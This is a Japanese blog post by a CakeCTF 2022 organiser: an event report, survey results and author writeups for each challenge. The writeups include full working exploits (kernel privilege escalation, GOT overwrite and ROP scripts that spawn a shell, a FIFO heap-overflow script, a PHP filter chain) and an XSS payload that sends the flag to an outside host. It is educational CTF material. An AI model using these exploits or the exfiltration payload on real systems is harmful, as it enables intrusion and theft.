CTFするぞ

CTF以外のことも書くよ

CakeCTF 2022を開催しました

今年もCakeCTF 2022が開催されました。 今回はちょっと難易度を下げるぞう🐘(パオーン!)と思って問題を作りました。 特にpwn,revあたりが簡単になったと思います。 他のジャンルはあんまり変わってない疑惑があります。

とはいえ、自明問題は出ません出しません出させません。非自明三原則。

解法スクリプトや問題のソースコードなどはこちらをご覧ください。

github.com

フルツキーの開催記:

furutsuki.hatenablog.com

毎年恒例、運営とのお約束:

writeupは読むだけでなく、手を動かして復習しましょう。 さらば道は開かれん。

開催記

CakeCTFの歴史:

  • 2019: InterKosenCTF(4人で運営)
  • 2019: InterKosenCTF Winter 2019(3人で運営)
  • 2020: InterKosenCTF 2020(3人で運営)
  • 2021: CakeCTF 2021(2.5人で運営)
  • 2022: CakeCTF 2022(2人で運営)

今年は研究発表のためyoshikingがいませんでした*1

準備

私は作問を主に担当しています。 CakeCTFレベルならrev, pwn, miscあたりは特に困ることなく作問できます。 webはあまり知らないので毎年悩んでいます。 cheatはどのジャンルよりも実装が大変ですが、ゲーム制作は好きなのでそこまで苦ではないです。 年々いろんなゲームエンジンが参加者に解析し尽くされ、使えるゲームエンジンがなくなってきています。ヘルプ。

作った問題数は16/20個と、過去のInterKosen/CakeCTF中では最多だと思います。yoshikingの復活が待ち望まれる。

あとお絵描きの勉強を始めたので、新たにCake猫も5パターンくらい書き直しましたが、どれも完全に別キャラになりました。

運営中

序盤はスコアサーバーに苦しむふるつきを応援していました。 赤組頑張れ、白組頑張れ、古月組頑張れ。

スコアサーバーが直ってからは、たまに将棋をしました。 あとはzer0ptsの鹿さんや鶏さんがfirst-bloodで賞品を取っているのを見て、すごいなぁと思いました。 たのしかったです。

終了後

ふるつきは何かサーバー周りをがちゃがちゃしてました。私は何もしてません。

アンケートの回答

アンケートは次回の参考になります。出して欲しい問題ジャンルなどがあれば、どしどしご応募ください。

去年のアンケートを整理している様子

得意なジャンル

得意なジャンルはcrypto, webがほぼ同数で一番多く、次にpwn, revがほぼ同数で多かったです。 思いの他、forensicsとかmiscとかを回答した人はほぼいませんでした。 他にはtsgctfなどのジャンルが得意な人もいました。

来年も今回と同じ程度のジャンル配分で良さそうです。

CTFの質

4の人の意見が気になるところ。いったい何が足りなかったんでしょうかね〜。

CTFの期間

今までの36hを撤廃して24hにしてみました。作問する側からすると問題数が各ジャンル1個くらい減って楽でしたが、競技時間は若干短いよりの意見が多いです。

たぶん上位20チームくらいにはスーパー適切時間配分だったんですが、1,2問通して終わってしまったチームも多かったのかもしれません。

好きな問題

簡単な問題ほど票が入りやすい現象、そろそろ論文に載せられるくらいデータが溜まってきました。

解けた問題を選びたいのは当然ですね。

嫌いな問題

簡単な問題ほど嫌いな人も多いです。

しかし嫌い票を入れているのは上位チームという訳でもありません。 嫌い票には「warmupの割に難しかった」という意見が多いです。

warmupが解けなかったから初心者以下とかいうことは全然なくて、むしろwarmupが解けたら脱初心者です。ご理解のほどよろしくお願いします。

その他ご意見

ポジティブなご意見:

  • cheatというカテゴリ・問題が面白かった → 来年も検討します!
  • pyxelに費やした努力すこ → もっと頑張って作ったCTF用ゲームもあるので、そのうちどっかで出すかも?
  • 解けなかったけど楽しかった → これ言ってもらえると助かります。復習すると必ず強くなれます。(悪徳商材の売り文句)
  • 解けないほど難しかったけど、解法を見たら分かる程度の難しさだったのが良かった。 → すべてを理解していらっしゃる......
  • 数学の知識を使う暗号が面白かった → @theoremoon
  • (revに関して)使ったことのない言語が勉強できてよかった → 今年はいろんな種類を出すようにしてみました。
  • (welkermeに関して)カーネルに入門できた → 環境構築とcpioなどの定石手順を知れば簡単なので、もっと難しいカーネル問にも挑戦してください。
  • 簡単な問題でも解くのに何かしらのひらめきが必要になっていて良い → 我々の目指すところです。
  • robots.txtやシーザー暗号程度の易しい問題がほしい → 実際にやると分かるんですが、それは解けてもあまり楽しくないと思います......。
  • readmeすき → expanduserが怪しすぎて個人的には微妙でしたが、参加者にはかなり人気で良かったです。

ネガティブなご意見:

  • 難しすぎ〜 → そんなことないよ〜?
  • revきらい・revわからん(なぜかrev指定で割と多い意見) → revが泣いてるよ
  • Cake Memoryのexeが動かんかった → 動作確認したんですが、不思議ですねぇ
  • C-Sandboxが自明 → 作問チェックされてない問題なので、以降注意します。
  • zundamonのキーコードから文字起こすのが大変 → 自動化どうぞ(^^)
  • pwnとcryptoが多すぎ → #pwn = #crypto = #web = #rev = #misc + #cheatです。
  • Real-Worldな問題がなかった → 0-day問題解ける?
  • 下位だと自分のチームのスコアがわかりにくい → @theoremoon
  • (welkermeに関して)丁寧すぎると競技性が失われる → 賛否両論ッピ。あのドキュメントはやりすぎたとも思ってます。

意外と序盤のTasksタブがなかった問題や、frozen cakeのフラグが間違ってた問題の指摘がありませんでしたが、あれはダメだと思うのでメモしておきます。 → @theoremoon

賞品について

去年はfirst bloodおよび上位チームに賞品を送りましたが、強いチームが賞品を攫っていったので、今年はfirst/second blood個人にしてみました。 割といい感じにいろんなチームに分散したと思います。 その一方で、いろんなところに配達する必要があると思うと、少し後悔しています。

賞品内容はだいたい候補が決まりつつありますが、まだデザインは未定なのでもうしばらくかかります。10月中には送りたいです。

問題のお話

カテゴリ 問題 想定難易度 テーマ
pwn welkerme warmup カーネルExploit入門
str.vs.cstr easy C++ pwn入門
smal arey hard Cマクロに起因する脆弱性
crc32pwn lunatic Linuxファイルシステム系pwn + heap
rev nimrev warmup Nim言語(非C/C++製バイナリrev)
kiwi easy プロトコルバッファ
luau medium Luaバイトコード
zundamon hard キーロガー
web CakeGEAR warmup PHPの弱い比較
OpenBio easy XSS, CSP, httponly
ImageSurfing medium PHP filter黒魔術
Panda Memo lunatic Prototype Pollution
cheat matsushima3 easy ロジックバグ, 乱数シード時間合わせ
Cake Memory hard 純粋メモリハック
misc readme 2022 easy expanduser, procfs
C-Sandbox medium LLVM, Bring Your Own Gadget

Pwnable

welkerme

人生で一回くらいカーネルエクスプロイトを通してもらいたかったので、出しました。 解くとお墓に「権限昇格」の文字を彫れます。

脆弱とかいうレベルを超えたカーネルドライバがロードされており、任意のアドレスをカーネル空間から呼び出せます。 いやしかし、今どきSMAP,SMEPで殺されるけど、昔は実際世の中にはこのレベルでひどい実装もあったそうな。

SMAP, SMEP, kASLRが無効なので、commit_cred(prepare_kernel_cred(NULL)); を呼び出してそのままreturnすればroot権限が貰えています。 現在のプロセスに対して権限が変更されるので、プログラム終了前に/bin/shを呼べば、そこはrootの世界です。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

int escalate_privilege(void) {
  void (*commit_creds)(void*) = 0xffffffff81072540UL;
  void* (*prepare_kernel_cred)(void*) = 0xffffffff810726e0UL;
  commit_creds(prepare_kernel_cred(NULL));
  return 31337;
}

int main(void) {
  int fd, ret;

  if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
    perror("/dev/welkerme");
    exit(1);
  }

  ioctl(fd, CMD_EXEC, (long)escalate_privilege);
  system("/bin/sh");

  close(fd);
  return 0;
}

str.vs.cstr

C++のpwnを恐れる人々を導くべく、簡単なC++ pwnを作りました。 std::stringの構造を知っている(調べる)と解けます。 std::stringは文字列ポインタとデータ長を持っているので、ポインタを書き換えるとAAR/AAW(任意アドレス読み書き)が作れます。 PIEが無効なのでGOT overwriteでcall_me関数を呼ぶとシェルがいただけます。

import os
from ptrlib import *

HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", "9003")

def set_cstr(data):
    assert is_cin_safe(data)
    sock.sendlineafter("choice: ", "1")
    sock.sendlineafter("c_str: ", data)
def set_str(data):
    assert is_cin_safe(data)
    sock.sendlineafter("choice: ", "3")
    sock.sendlineafter("str: ", data)

elf = ELF("../distfiles/chall")
#sock = Process("../distfiles/chall")
sock = Socket(HOST, int(PORT))

payload  = b'A'*0x20
# std::string pointer --> cin@got
payload += p64(elf.got('_ZNSolsEPFRSoS_E'))
# std::string size --> 0x8
payload += p64(8)
# std::string capacity --> 0x8
payload += p64(8)

set_cstr(payload)
set_str(p64(elf.symbol('_ZN4Test7call_meEv'))) # AAW
sock.sendlineafter("choice: ", "x")

sock.interactive()

【宿題1】call_me関数を消して解いてみよう(もともとこの設定でしたが、もっと簡単にするためにcall_meを用意しました。)
【宿題2】PIE, RELROも有効にして解いてみよう(zer0pts CTFとかならこれくらいの問題設定でeasy-mediumになります。面白い難しさじゃないから出さないけど。)

smal arey

マクロが、脆弱です。

#define ARRAY_SIZE(n) (n * sizeof(long))
#define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))
...
  arr = ARRAY_NEW(size);

size + 1 * sizeof(long)と解釈されるので、ほぼ何も確保できていません。 スタックバッファオーバーフローがあるので、sizeを書き換えてからarrポインタそのものを書き換えることで、任意アドレスに数値を書き込めます。 解き方はいろいろあると思いますが、私の場合はexit@gotpop; ret; gadgetにしてROP chainを動かしました。

from ptrlib import *
import os

HOST = os.getenv("HOST", "localhost")
PORT = int(os.getenv("PORT", "9002"))

def setval(index, value):
    sock.sendlineafter("index: ", str(index))
    sock.sendlineafter("value: ", str(value))

libc = ELF("../distfiles/libc-2.31.so")
elf = ELF("../distfiles/chall")
#sock = Process("../distfiles/chall")
sock = Socket(HOST, PORT)

"""
1. Leak address
"""
sock.sendlineafter("size: ", "5")

# prepare rop chain
setval(0, next(elf.gadget("pop rdi; ret;")))
setval(1, elf.got("printf"))
setval(2, elf.plt("printf"))
setval(3, elf.symbol("_start"))

# size = 0xffffffffffffffff
setval(4, (1<<64)-1)

# arr = exit@got
setval(6, elf.got('exit'))
# exit@got = run rop chain
setval(0, next(elf.gadget("add rsp, 8; ret;")))

# exit
sock.sendlineafter("index: ", "-1")

# leak
libc_base = u64(sock.recv(6)) - libc.symbol("printf")
libc.set_base(libc_base)

"""
2. pwn
"""
sock.sendlineafter("size: ", "5")

# prepare rop chain
setval(0, next(elf.gadget("pop rdi; ret;")))
setval(1, next(libc.search("/bin/sh")))
setval(2, libc.symbol("system"))

# size = 0xffffffffffffffff
setval(4, (1<<64)-1)

# arr = exit@got
setval(6, elf.got('exit'))
# exit@got = run rop chain
setval(0, next(elf.gadget("add rsp, 8; ret;")))

# exit
sock.sendlineafter("index: ", "-1")

sock.sh()

こういうアドレスリークが伴う問題はぜんぜん解いてもらえないんだろうなー、と思っていましたが、予想以上に多くのチームに解いてもらえました。 世の中まだまだ捨てたもんじゃない。

crc32pwn

ファイルがちゃがちゃ系のpwnは一般に苦手な人が多いことが知られているので、lunatic枠で簡単なものを作ってみました。 もともとはrace問にする予定だったのですが、問題設定とかが難しそうなので特殊ファイル de pwnにしました。

SECCONのeasy枠あたりに出す予定でしたが、SECCONはなんか私が関与しなくても良いくらいpwn問が既に生えていると噂なので、CakeCTFに出しました。

主要部分はこんな感じ。

void crc32sum(const char *filepath)
{
  int fd;
  char *buffer, *p;
  struct stat stbuf;

  /* Try to open file */
  if ((fd = open(filepath, O_RDONLY)) < 0) {
    perror(filepath);
    return;
  }

  /* Lock file */
  if (flock(fd, LOCK_SH)) {
    perror("flock");
    return;
  }

  /* Get file size */
  if (fstat(fd, &stbuf)) {
    perror(filepath);
    flock(fd, LOCK_UN);
    return;
  }

  /* Allocate buffer */
  if (!(buffer = malloc(stbuf.st_size))) {
    perror("Memory Error");
    flock(fd, LOCK_UN);
    return;
  }

  /* Read file */
  p = buffer;
  while (read(fd, p++, 1) == 1);

  /* Calculate hash */
  printf("%s: %08x\n", filepath, crc32(buffer, stbuf.st_size));

  /* Cleanup */
  free(buffer);
  flock(fd, LOCK_UN);
  close(fd);
}

どう見てもwhile文が怪しいですね。st_sizeよりも実際にreadできるデータが多い場合はHeap Buffer Overflowが起きます。 そのようなファイルを作る方法はいくつかありますが、一番簡単なのは名前付きパイプを使う方法でしょう。

ちなみにflockfcntlのロックはプロセス内(あるいはご丁寧にflockを使ってくれるプロセス同士の)排他制御のため、raceを防ぐ観点では意味がありませんでした。「赤ちゃんが乗っています👶」ステッカーと同じで、読んだ人への注意喚起程度の意味しかないですね。

ヒープを破壊すると隣接するチャンク(tcache)のnextを壊せるので、free@gotsystem@pltに変えて、ファイル名のfreeで任意コマンド実行できます。

#!/bin/bash
TARGET=crc32sum
WORKDIR=/tmp/alligator

# Make working directory
rm -rf $WORKDIR
mkdir -p $WORKDIR
cd $WORKDIR

PATH_A=AAAAAAAAAAAAAAAAaaaaaaaa_10h
PATH_B=BBBBBBBBBBBBBBBBbbbbbbbb_20h
PATH_C=CCCCCCCCCCCCCCCCccccccccccccccccCCCCCCCC_30h
PATH_PWN=AAAAAAAAAAAAAAAAaaaaaaaa_pwn

printf '0%.0s' {1..16} > $PATH_A
printf '1%.0s' {1..32} > $PATH_B
printf '\x50\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C # free-->system@plt
printf '\x40\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C
printf '\x50\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C
printf '\x60\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C
printf '\x70\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C
printf '\x80\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C

mkfifo $PATH_PWN
printf '3%.0s' {1..24} > overflow
printf '\x41\x00\x00\x00\x00\x00\x00\x00' >> overflow
printf '\x18\x40\x40' >> overflow # free@got

printf 'id; cat /home/pwn/flag.txt > /tmp/hoge;' > cmd

$TARGET \
    $PATH_B $PATH_A $PATH_C \
    $PATH_PWN \
    $PATH_C \
    cmd &
sleep 1
cat ./overflow > $PATH_PWN

Web

CakeGEAR

ユーザー名をgodmodeにするとパスワードなしでログインできます。 しかし、ローカルホストからしgodmodeは使えません。

/* Router login API */
$req = @json_decode(file_get_contents("php://input"));
if (isset($req->username) && isset($req->password)) {
    if ($req->username === 'godmode'
        && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
        /* Debug mode is not allowed from outside the router */
        $req->username = 'nobody';
    }

    switch ($req->username) {
        case 'godmode':
            /* No password is required in god mode */
            $_SESSION['login'] = true;
            $_SESSION['admin'] = true;
            break;

        case 'admin':
            /* Secret password is required in admin mode */
            if (sha1($req->password) === ADMIN_PASSWORD) {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = true;
            }
            break;

        case 'guest':
            /* Guest mode (low privilege) */
            if ($req->password === 'guest') {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = false;
            }
            break;
    }

PHPswitchは厳密な比較(===)をしないので、文字列と文字列以外のデータの比較がtrueになることがあります。 PHP 7までは0 == "string"はtrueだったのですが、PHP 8からfalseになりました。(なんで?) しかし、true == "string"は相変わらずtrueなので、今回の問題ではそれでgodmodeになれます。

余談1:PHP 8では厳密なswitchができるmatch文が追加されました。

余談2:頑張って思い出したところ、adminのパスワードはzundamonmodeでした。

OpenBio

XSS問です。CTFのXSS問はよくcookieを盗みますが、実際問題cookieはhttponlyなことが多いので、そういう問題を目指して作りました。 最初はパスワードリセットフォームなどがあり、そのAPIを使ってアカウントを乗っ取る問題だったのですが、どこにフラグを置いてもXSSから直接取れるので、結局fetchしてフラグを取れば終わる問題になりました。

それだけでは流石に簡単すぎるので、CSPを付けました。 script-srcにCDNが許されているので、angularなどXSS gadgetが使えるライブラリをロードすればXSSできます。*2

fetchする際にドメインを入れる場合、SOPに注意してフラグを取りましょう。 また、connect-srcが厳しいですが、location.hrefでデータを送れます。

$(document).ready(function() {
  $.get('/', (data) => {
    let rx = /<textarea class.+>(.*)<\/textarea>/g;
    let arr = rx.exec(data);
    let bio = arr[1];
    if (bio.indexOf("flag") !== -1) {
      location.href = "http://ponponmaru.tk:18002/?x=" + btoa(bio);
    } else {
      alert("Report me");
    }
  });
});

なんかよくreportするときに自分のexploitが発火して困るという意見を見ますが、私は↑みたいにクローラとの差分をもとに発動するか分岐するようにする派です。オリジンとか調べるとdocker上ではchallenge:8080になるので確実かも。

ImageSurfing

なんかICC本戦のPHP問で,任意ファイルをmd5sumに投げられるときにフラグを取れますか、という問題が出ていました。 PHP filterを使う問題で面白そうだったので、勉強して別の問題を作りました。

LFIがありますが、画像ファイルかのチェックがあるためフラグは出力されません。

function get_image($url) {
    /* Open URL */
    $data = @file_get_contents($url);
    if ($data == false)
        return array("Cannot fetch file", false);

    /* Check file size */
    if (strlen($data) > 1024*1024*16)
        return array("File size is too large", false);

    /* Get mime type */
    $tmp = tmpfile();
    fwrite($tmp, $data);
    fflush($tmp);
    $mime = mime_content_type(stream_get_meta_data($tmp)['uri']);
    fclose($tmp);

    /* Check */
    if (in_array($mime, IMAGE_MIME)) {
        return array($mime, $data);
    } else {
        return array("Invalid image file", false);
    }
}

画像ファイルのみ出力できるため、フラグの先頭に"GIF89a"を付ける闇のPHP filterを書く問題でした。 作ったあとに調べたら、思いっきり上位互換が出題されていました :sob:

さらに頑張って調べると、付加する文字とフィルターを対応づけたテーブルが存在するので、これが使えます。 (本当はファジングしてほしかった。)

github.com

異常、PHP黒魔術でした。

php://filter/convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|/resource=/flag.txt"

Panda Memo

今回のwebで一番真面目に作った問題です。 prototype pollution出すかぁと思って、posixさんのAST Injectionの記事を読んでいました。

そこに載っていないテンプレートエンジンでAST Injectionさせるくらいでいっかぁと思って作問していると、テンプレートエンジンのキャッシュが良い感じの標的になり得ることが発覚しました。 詳しくは別で記事を書きました。

ptr-yudai.hatenablog.com

テーマはそれで決まったのですが、prototype pollutionってどういう風に起きるんだっけ、と思っていろんなパターンを調べるために「node prototype pollution」などを調べると、こんなCVEが出てきました。

hackerone.com

すげーと思って試したら、Object.prototype[0]とかに空文字列が入るだけのゴミCVEでした。 廃材アートという言葉もありますので、こんなCVEでも使ってやろうという優しさで問題に組み込みました。

結果として

  1. console.tableでprototype pollution
  2. memo[ip][index] = dataでprototype pollution
  3. mustacheのキャッシュを汚染

という汚染の連鎖をする環境に悪そうな問題になりました。

Reversing

nimrev

人生で一度くらい非C/C++製バイナリのrevをやってほしかったので出しました。 とはいえnimはCにトランスパイルしているのでCみたいなものです。(暴論)

IDAでmain関数っぽいところを辿ると、いかにも文字列を比較していそうな名前の関数呼出があるので、gdbブレークポイントを付けるとフラグが見えます。

kiwi

一番おいしい果物が桃であることは広く認知されていますが、二番目は何でしょうか?ぶどう?マンゴー?キウイ?

webサービスを触ってたときに、exportしたデータが見慣れない形式だったので解析したところ、kiwiというデータフォーマットが使われていました。 kiwiはGoogle Protocol Bufferっぽいメッセージフォーマットで、アレ系はrevでたまに見るので逆張りでkiwiを出しました。

IDAなどで見ると、シンボルが残っているのでkiwi::ByteBufferkiwi::MemoryPoolといった文字列が目に付きます。 これを調べると先ほどのデータフォーマットが見つかるので、kiwiのフォーマットデモなどを参考にして、送るデータ構造を調べます。

すると、uint型のマジックナンバーと、byte配列の鍵を受理することが分かります。 ということで、先述のサイトで適当なマジックナンバーと鍵のkiwiデータを生成し、送りつけると鍵で暗号化したフラグが得られます。 観測している限り全員がGoogle検索をせず、自力でデータフォーマットを解析していたようです。お疲れ様です。

luau

何かしらの中間言語を解析させる問題を入れたくて、luaを選びました。

Lua 5.3でちゃんと動くデコンパイラはなさそう*3なので、ディスアセンブルしてバイトコードアセンブリを読むと幸せになれます。 RC4の最初にあるようなシャッフルと、XOR暗号を組み合わせてフラグチェックをしていた記憶があります。

Luaのテーブルが1から始まるindexなのを許していません。

zundamon

Linuxキーロガー書いたことないなぁと思って作ってみました。 裏で動き続けるデーモンにしたのですが、daemonがzundamonに見えたので問題名はずんだもんなのだ。 zundamon daemon。声に出して読みたい日本語。日本語ではない。

ただのキーロガーなので特筆すべき点はありませんが、キーボードを検出するsource関数はインターネットに出回っているものより丁寧で、ペンタブなどの仮想キーボードを無視するように設計されています。偉いのだ。 :zundamon:

キーストロークを収集しているredisサーバーは開催前に停止済みなので、間違えて実行ファイルを起動した後にクレジットカード番号を入力してしまった方もご安心ください。

Cheat

matsushima3

開催1週間前くらいに徹夜で作りました。

ベースとなるゲームエンジンに何を使うか悩んでいたのですが、pyxelというPython製ライブラリを見つけて、ピクセルゲームが好きなので採用しました。 当然Python製だと解析は簡単なので、サーバーと通信する系問題にしました。

アクションゲームでスピードハック系の問題にしようと思っていましたが、時間がなさそうなのでロジックバグを持つブラックジャックゲームにしました。

音楽はpyxelのエディタで手打ちしました。 カードゲームのBGMということで誰でもアソビ大全DSが思い浮かび、ちょっとjazzとかswingっぽい感じをイメージしましたが、ほぼ弾いたことのない領域なので要素は薄いと思います。 ピアノで大まかなメロディーを決めて、ずっしーの音楽教室を参考に小さじ程度にjazz感を入れました。 音楽理論はよく知りませんが、サビはJ-POPとかボカロでもよく聞くコード進行*4にしてみました。 コードの名前が分かる人がいたら教えてください。

Cake Memory

画面に表示される色の順番を覚えるだけの簡単なゲームです。 音声を揃えるのが大変でした。

全部で5ラウンドあって、4ラウンドまではチートなしで解けます。 最終ラウンドは24種類の色・記号が100連続で高速で表示されます。 特殊能力を持っている人は覚えられるかもしれませんが、10秒以内に解く必要があるので高橋名人要素も持ち合わせていないと解けません。

1度でも間違えるか制限時間を超えるとゲームオーバーになります。 制限時間を超えてもBunzo君は降って来ません*5

Rust製ですが、丁寧に地獄のように汚いコードを書いたのと、文字列は全部難読化したので安心!と思っていましたが、revした人がいたようです...怖い...。 解答状況のインデクスはすべてメモリ中2箇所に別の表現方法で記録して整合性を取っており、クリアフラグが変更された際の確認もしているため、今回はがちゃがちゃチートは防げていると思います。

想定解法は3通りほどあります。

  1. 実行速度を落として録画を手動再現
  2. 外部プロセスから画面をキャプチャして、マウス操作を自動化
  3. 色の順番を保持するメモリを探し、その参照元であるゲームインスタンスを特定

1は誰でも思いつき簡単ですが、似た色がたくさんある中で100回連続で間違えずに手動で解くという強い"覚悟"を持っていないとできません。

2は思いつきがちで確実でもありますが、チートマクロを組む経験が豊富でないと実装に時間がかかります。

総合すると3が一番楽だと思います。 今回はヒントも提示しているので、順番がVec<usize>で保持されていることは推測できます。 RustのVectorの構造を知っていればCheat Engineなどで簡単に検索して見つけられます。 Vectorは当然ラウンドごとに再確保されて別の場所に行ってしまうので、Vectorのポインタを検索し、参照しているゲームインスタンスの場所を特定します。

あとは実行速度を落としつつ、各ゲームラウンドでVectorの中身を全部0にすると、答えがBLUE一択になるのでクリック連打すれば解けます。

hackmd.io

解けなかった人は、Cheat EngineのRPGチュートリアルをやろうね。

おまけ:これ好き。

Misc

readme 2022

ターミナルでチルダとタブを打ったら知らないファイルがいっぱい表示されたので、問題にしました。 ちょくちょくreadmeという名前でファイルシステムmiscを出しています。

初代は/proc/self/environ/proc/self/cwd、二代目は/proc/self/fd、そして三代目は~user/dev/fdでした。

C-Sandbox

LLVMを使ってる問題ってCTFであまり見ないな、という思いで作りました。 というか久しぶりにLLVM Passを書いてみたかったという気持ちもあります。

この問題のLLVM Passは、各関数呼び出しについて関数名を確認し、ホワイトリストになければ直前にトラップを発生するコードブロックを追加しています。 まぁ何しても解けますが、自分自身をpwnする問題みたいな感じです。

なるべくコンパイラ非依存なexploitを書くBring Your Own Gadgetが想定でしたが、Dockerfileを渡しているのでGOT overwriteとかでもOKです。

安定exploit:

#include <stdio.h>
#include <stdlib.h>

int i;
void *rop_ret, *rop_pop_rdi;
void **rop_chain;

long gadget_ret() { return 0xc3; }
long gadget_pop_rdi() { return 0xc35f; }

int main() {
  char buf[0x10];

  /* Find ROP gadgets */
  for (rop_ret = gadget_ret; ; rop_ret++) {
    if (*(unsigned char*)(rop_ret) == 0xc3) {
      printf("[+] Found 'ret;' at %p\n", rop_ret);
      break;
    }
  }

  for (rop_pop_rdi = gadget_pop_rdi; ; rop_pop_rdi++) {
    if (*(unsigned char*)(rop_pop_rdi) == 0x5f
        && *(unsigned char*)(rop_pop_rdi+1) == 0xc3) {
      printf("[+] Found 'pop rdi; ret;' at %p\n", rop_pop_rdi);
      break;
    }
  }

  /* Dumps stack for debug */
  puts("--- Stack Dump ---");
  for (i = 0; i < 0x80; i += 8) {
    printf("%p: 0x%016lx\n", buf + i, *(unsigned long*)(buf + i));
  }

  /* Inject ROP chain */
  puts("[+] Injecting ROP chain...");
  rop_chain = (void*)buf;
  for (i = 0; i < 0x8; i++) {
    *rop_chain++ = rop_ret;
  }
  *rop_chain++ = rop_pop_rdi;
  *rop_chain++ = "/bin/sh";
  *rop_chain++ = system;
  *rop_chain++ = rop_pop_rdi;
  *rop_chain++ = (void*)0;
  *rop_chain++ = exit;

  /* Dumps stack for debug */
  puts("--- Stack Dump ---");
  for (int i = 0; i < 0x80; i += 8) {
    printf("%p: 0x%016lx\n", buf + i, *(unsigned long*)(buf + i));
  }

  return 0;
}

おわりに

今年も無事終了しました。 たくさんのご参加ありがとうございました。 特に、ご支援くださったスポンサーの方々には足を向けて寝られません*6

なんだかんだ来年も開催するのかなぁと思っています。 高評価・チャンネル登録よろしくお願いします。

Writeupまとめ

しおれたヒマワリみたいに疲労している運営よりも、活気あふれる参加者のwriteupの方が参考になると思います。

  • hamayanhamayanさんのwriteup。いろんなCTFのwriteupを出しており、非常に偉いと有名。

blog.hamayanhamayan.com

www.youtube.com

  • misoさんのwriteup。全ジャンルカバーでたくさん解いててすごいです。

miso-24.hatenablog.com

  • y011d4さんのwriteup。相変わらず暗号を解くスピードが速くて怖かったです。

blog.y011d4.com

  • kusanoさんのwriteup。一人で解きすぎ問題。これが公式writeupということで...。

qiita.com

  • tkitoさんのrev writeup。zundamonの解説が世界一丁寧と話題。

emeth.jp

  • moraさんのcrc32pwnのwriteup。DEF CONのspeedrunは今後任せます。

moraprogramming.hateblo.jp

  • pwnerのecさんの詳細writeup。ブログテーマがキャピキャピしてて好き。

ec-pwn.hatenablog.com

  • totsugeki_taiさんのkiwiのwriteup。この問題を真面目に解析して解いてるのは、かなり力あると思います。

hanazonochateau.net

  • Satoooonさんの全ジャンルカバーwriteup。是非来年はcryptoもやっていただいて...。

satoooon1024.hatenablog.com

  • SHA-5010さんのImageSurfingのwriteup。最後まで諦めない心が大事。

qiita.com

  • miyazato3さんのCakeGEARのwriteup。問題は初心者:中級者=2:8くらいの配分なので、競技中に解けなくても全然問題なしです。

zenn.dev

  • チームrotationことtanさんのwriteup。revに強い印象。

tan.hatenadiary.jp

  • MikeCATさんのwriteup。日本語と英語で書かれていて丁寧。

mikecat.github.io

  • しふくろ先生の解法スクリプツ。参加ありがとうございます!

github.com

  • sh4dyさんのwelkermeとstr.vs.cstrのwriteup。丁寧。

sh4dy.com

sh4dy.com

  • n0bitaさんのOpenBioのwriteup。難しいことをしている。

github.com

  • EsharkyTheGreatさんのwelkermeのwriteup。めっちゃ丁寧。

esharkythegreat.github.io

  • 非想定解を錬成することで有名なSatokiくんwriteup。Cake Memory録画して地道に解くの好き。

github.com

  • st98さんによる第二の公式writeupです。わにわにぱにっく。

nanimokangaeteinai.hateblo.jp

  • EdwowMathのcrypto writeupです。TSG CTFあるんですかね〜。

m5453.hatenablog.com

  • kanonさんの参加記です。是非crypto以外にも挑戦してください。

qiita.com

*1:恐竜の絶滅

*2:jsdeliverは誰でもアップロードできるので、自分で書いたスクリプトをjsdeliverに載せることもできたようです。

*3:unluacとかいうのが動くらしい

*4:共感覚で紫色に聞こえるので「紫のコード」って呼んでます。

*5:https://www.youtube.com/watch?v=qh1zpl3CPxw

*6:いっぱいいるので立ったままか宙吊りで寝ます